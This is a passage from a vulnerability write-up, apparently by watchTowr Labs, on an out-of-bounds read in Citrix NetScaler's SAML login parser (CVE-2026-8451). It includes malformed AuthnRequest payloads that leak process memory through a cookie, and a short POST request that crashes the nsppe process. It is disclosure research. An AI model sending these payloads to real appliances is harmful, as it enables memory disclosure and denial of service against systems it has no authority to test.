exclusive.\n\nThey aren't.\n\nBy this point, we'd already learned just how forgiving the parser was. We'd shown that the opening `AuthnRequest` tag didn't actually need a closing `&gt;`, but we also discovered something even stranger: the parser was surprisingly relaxed about element nesting.\n\nFor example:\n\n```\n&lt;samlp:AuthnRequest Version=\"2.0\" AssertionConsumerServiceURL=11\nid=22\n&lt;/samlp:AuthnRequest&gt;\n&lt;saml:Issuer&gt;watchtowr&lt;/saml:Issuer&gt;\n\n```\n\n\nHere we\u2019ve got the same request as before - but this time, the `Issuer` is moved _outside_ the `AuthnRequest`.\n\nAny sane parser would reject this, but we\u2019re not dealing with sanity. Of course, the NetScaler appliance actually accepts it.\n\n```\nAuthnReq start tag parsed, id=&lt;22 &lt;saml:Issuer&gt;, acs=&lt;11 id=22 &lt;saml:Issuer&gt;, forceAuth=&lt;0&gt;, binding=&lt;Unknown&gt;\n\n```\n\n\nOne important detail is that this only works if the opening `AuthnRequest` tag is left unterminated. If it is closed normally, the parser rejects the document, strongly suggesting the behavior we\u2019re observing is tied to the parser's attribute-handling logic.\n\nOnce we realized that, we started experimenting a little more. It turns out the parser is surprisingly tolerant of attribute ordering as well. For example:\n\n```\n&lt;samlp:AuthnRequest\n&lt;saml2:issuer&gt;watchtowr&lt;/saml2:issuer&gt;\n&lt;/samlp:AuthnRequest&gt;\nVersion=\"2.0\"\nid=\"11\"\nAssertionConsumerServiceURL=\"22\"\n\n```\n\n\nThis yields a successful response - although the extracted details are incorrect:\n\n```\nAuthnReq start tag parsed, id=&lt;&gt;, acs=&lt;22&gt;, forceAuth=&lt;0&gt;, binding=&lt;Unknown&gt;\n\n```\n\n\nYou might note that the `acs` value returned is correct - `22` - because we\u2019ve carefully enclosed the value in the request in quotes.\n\nWhat happens if we can make the parser overread past the end of the request buffer instead?\n\n```\n&lt;samlp:AuthnRequest\n&lt;saml2:issuer&gt;watchtowr&lt;/saml2:issuer&gt;\n&lt;/samlp:AuthnRequest&gt;\nVersion=\"2.0\"\nid=\"11\"\nAssertionConsumerServiceURL=\n\n```\n\n\nAnd in our favorite log\u2026:\n\n```\nAuthnReq start tag parsed, id=&lt;&gt;, acs=&lt;\u2592^M\u2592\uffad\u2592=\"2.0\" id=\"11\" \nAssertionConsumerServiceURL=\"22\"\uffad\u2592mple.com/demo1/index.php&lt;/saml:Issuer&gt;, \nforceAuth=&lt;0&gt;, binding=&lt;Unknown&gt;\n\n```\n\n\n![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2026/06/image-36.png)\n\nOH HO HO. Finally, we\u2019re almost there!\n\nThe parser is no longer just reading extra XML. It's pulling arbitrary binary data from beyond the end of the XML buffer and happily appending it to the parsed value.\n\nThe only question left is whether that value makes it all the way back to us via the `NSC_TASS` cookie we looked at earlier:\n\n```\nNSC_TASS=YXNkZgBJRD0mYmluZD1wb3N0JkFDU1VSTD3wDZDvvq3ePSIyLjAiCmlkPSIxMSIKQXNzZXJ0aW9uQ29uc3VtZXJTZXJ2aWNlVVJMPSIyMiLvvq3ebXBsZS5jb20vZGVtbzEvaW5kZXgucGhwPC9zYW1sOklzc3VlcgA=\n\n```\n\n\nAnd decoded\u2026:\n\n```\n00000000  61 73 64 66 00 49 44 3d  26 62 69 6e 64 3d 70 6f  |asdf.ID=&amp;bind=po|\n00000010  73 74 26 41 43 53 55 52  4c 3d f0 0d 90 ef be ad  |st&amp;ACSURL=......|\n00000020  de 3d 22 32 2e 30 22 0a  69 64 3d 22 31 31 22 0a  |.=\"2.0\".id=\"11\".|\n00000030  41 73 73 65 72 74 69 6f  6e 43 6f 6e 73 75 6d 65  |AssertionConsume|\n00000040  72 53 65 72 76 69 63 65  55 52 4c 3d 22 32 32 22  |rServiceURL=\"22\"|\n00000050  ef be ad de 6d 70 6c 65  2e 63 6f 6d 2f 64 65 6d  |....mple.com/dem|\n00000060  6f 31 2f 69 6e 64 65 78  2e 70 68 70 3c 2f 73 61  |o1/index.php&lt;/sa|\n00000070  6d 6c 3a 49 73 73 75 65  72 00                    |ml:Issuer.|\n\n```\n\n\nFinally!\n\nTake a look at the `ACSURL` value. It now contains binary data that should never have been returned to us, including the unmistakable `0xdeadbeef` fill pattern.\n\nOur overread has worked.\n\nThe parser has read beyond the end of the XML buffer, and we've successfully tricked NetScaler into returning memory that was never supposed to leave the process. Completely unpredictably.\n\nIt\u2019s never done that before (lol)\n\n![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2026/06/image-37.png)\n\nOne thing we\u2019re keen to note: in contrast to the original CVE-2026-0050, in which kilobytes of binary data can be leaked, this overread will terminate the out-of-bounds read when various control characters are read, such as NULL (or even `&gt;`).\n\nIn practice, we found that by varying the request length, we could consistently squeeze a few bytes out of the server:\n\n```\nc:\\&gt;python watchTowr-vs-Netscaler-CVE-2026-8451.py &lt;https://192.168.80.125&gt;\n..\nLeaked bytes:\n00000000  f0 0d 90 de de de de de de de de de de de de de   |................|\n00000010  de de de de de de de de de de de de de de de de   |................|\n00000020  de de de de de de de de de de de de de de de de   |................|\n00000030  de de de de de de de de de de de de de de de de   |................|\n00000040  de de de de de de de de de de de de de de ed a7   |................|\n00000050  0c a1 35 00                                       |..5.|\n..\n\n```\n\n\nThere\u2019s clearly data leaking here (`0xf00d`!) and, interestingly, what appears to be a data pointer (`0xa10ca7ed`).\n\nWe can't say with certainty what this pointer references, but it certainly looks plausible. If it is a valid process pointer, then this bug graduates from a simple information disclosure to a genuine infoleak primitive. Paired with a suitable memory corruption vulnerability, it could be exactly the kind of building block needed for a full device compromise.\n\nOf course, if you're more interested in demonstrating impact than building exploit chains, there is a much easier route, as naturally in enterprise-grade security appliances, requests as simple as the following are enough to reliably crash the target system:\n\n```\n&lt;samlp:AuthnRequest ID=\n\n```\n\n\n```\nPOST /saml/login HTTP/1.1\nHost: 192.168.80.125\nContent-Length: 46\n\nSAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCBJRD0%3D\n\n```\n\n\nThis request causes the `nsppe` process to \"crash out\":\n\n![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2026/06/image-38.png)\n\n![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2026/06/image-39.png)\n\n### Detection Artefact Generator\n\nAs always, we\u2019re here to share our Detection Artefact Generator to determine your own susceptibility and inform remediation in your own environments.\u00a0It can be found on our GitHub [here](https://github.com/watchtowrlabs/watchTowr-vs-Netscaler-CVE-2026-8451?ref=labs.watchtowr.com).\n\n```\nc:\\&gt;python watchTowr-vs-Netscaler-CVE-2026-8451.py &lt;https://all-ur-boxen.com&gt;\n..\nLeaked bytes:\n00000000  f0 0d 90 de de de de de de de de de de de de de   |................|\n00000010  de de de de de de de de de de de de de de de de   |................|\n00000020  de de de de de de de de de de de de de de de de   |................|\n00000030  de de de de de de de de de de de de de de de de   |................|\n00000040  de de de de de de de de de de de de de de ed a7   |................|\n00000050  0c a1 35 00                                       |..5.|\n..\n\n```\n\n\n### Thanks, PolyMarket\n\n![](https://storage.ghost.io/c/a0/dc/a0dcbbe4-0ae7-4d7e-90f7-ebbc3a0f5a84/content/images/2026/06/image-40.png)\n\nWe get to eat tonight!\n\n### **Timeline**\n\n\n\n* Date: 28th March 2026\n  * Detail: watchTowr discovers issue, notifies Citrix and affected clients\n* Date: 28th March 2026\n  * Detail: Citrix responds with what appears to be an automatic reply\n* Date: 30th April 2026\n  * Detail: watchTowr requests update from Citrix\n* Date: 7th May 2026\n  * Detail: watchTowr again requests update from Citrix\n* Date: 7th May 2026\n  * Detail: Citrix advises that a fix is being developed\n* Date: 14 June 2026\n  * Detail: Citrix advise they expect to publish on 29th June\n* Date: 25th June 2026\n  * Detail: Citrix advises that a fix may be delayed by \u2018a few days\u2019; watchTowr responds that this is acceptable\n* Date: 30th June 2026\n  * Detail: Citrix publish advisory and patches\n* Date: 30th June 2026\n  * Detail: watchTowr publishes research, and memes\n\n\nThe research published by [watchTowr Labs](https://watchtowr.com/) is powered by the same engine behind the [watchTowr Platform](https://watchtowr.com/), our **Preemptive Exposure Management** solution built for enterprises that refuse to wait for the next satisfying advisory from their scanner vendor.\n\nThe [watchTowr Platform](https://watchtowr.com/) combines **External Attack Surface Management** and **Continuous Automated Red Teaming** to test your defenses against the vulnerabilities and techniques that matter: the ones real attackers are actually exploiting.\n\n### Gain early access to our research, and understand your exposure, with the watchTowr Platform\n\n[REQUEST A DEMO](https://watchtowr.com/demo/)", "creation_timestamp": "2026-07-01T07:59:26.936305+00:00", "timestamp": "2026-07-01T07:59:26.936305+00:00", "related_vulnerabilities": ["cve-2025-12101", "cve-2026-3055", "CVE-2025-12101", "CVE-2026-0050", "CVE-2026-3055", "cve-2025-5777", "CVE-2026-8451", "CVE-2025-5777"], "author": {"login": "adulau", "name": "Alexandre Dulaunoy", "uuid": "c933734a-9be8-4142-889e-26e95c752803"}}
